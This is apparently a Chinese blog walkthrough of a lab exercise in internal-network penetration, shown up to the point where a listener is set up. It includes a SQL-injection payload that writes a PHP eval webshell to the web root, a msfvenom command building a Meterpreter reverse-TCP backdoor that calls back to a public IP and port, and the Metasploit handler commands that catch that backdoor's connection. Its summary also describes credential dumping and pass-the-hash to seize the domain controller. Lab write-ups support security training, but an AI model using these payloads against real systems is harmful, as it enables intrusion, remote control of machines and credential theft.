【Web安全】内网渗透研究之利用MSF和Impacket工具拿域控

最新推荐文章于 2024-09-30 08:05:35 发布

IT老涵

最新推荐文章于 2024-09-30 08:05:35 发布

阅读量1.5k

点赞数 2

分类专栏：安全网络黑客文章标签： web安全安全网络安全计算机网络

本文链接：https://blog.csdn.net/HBohan/article/details/120922360

版权

本文详细介绍了如何利用Metasploit Framework（MSF）和Impacket工具在内网环境中进行渗透测试，最终获取域控制器的权限。首先，通过SQL注入获取Webshell，然后使用MSF进行提权和内网穿透。接着，利用Kiwi模块抓取密码并进行hash传递尝试。最后，通过Impacket的smbexec.py模块，利用NTLM hash成功登陆域控，实现域控的接管。整个过程展示了从信息收集到权限提升的一系列步骤。

摘要由CSDN通过智能技术生成

内网渗透拿域控

环境：http://afsgr16-b1ferw.aqlab.cn/?id=1

【查看资料】

1、进去一看，典型的sql注入
在这里插入图片描述
2、测试了一下，可以爆库，也可以写一句话，并且还爆了绝对路径，直接拿shell，进入主题

①将shell.php写入网站根目录，payload

http://afsgr16-b1ferw.aqlab.cn/?id=1.1 union select 1,"<?php eval($_REQUEST[gylq]);?>"  into outfile 'C:/phpstudy/www/shell.php'

在这里插入图片描述
②蚁剑连接，发现权限很低

kali机的提权和后渗透方法

提权我们可以传个木马用msf试试，获取按照系统补丁来搜payload提权等等，这里就用最快的方式，msf（注意：，下面讲关于kali中msf怎么内网穿透，方法太多了）

kali内网穿透用花生壳

拿到webshell之后，由于这个webshell是在公网的，无法访问我们内网的kali，所以我们得将kali中的某个端口映射到公网

下载花生壳

1、可以看到kali的内网ip为192.168.0.108
在这里插入图片描述
2、接着设置一下花生壳的配置
3、可以看到我们映射到公网的ip和端口

4、接着使用msf制作访问我们公网ip和端口的后门

msfvenom -p windows/meterpreter/reverse_tcp LHOST=103.46.128.46 LPORT=26240 -f exe > payload.exe

在这里插入图片描述
5、打开msf的监听

handler -x -H 192.168.0.108 -P 6666 -p windows/meterpreter/reverse_tcp
或者使用
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.108
set lport 6666
run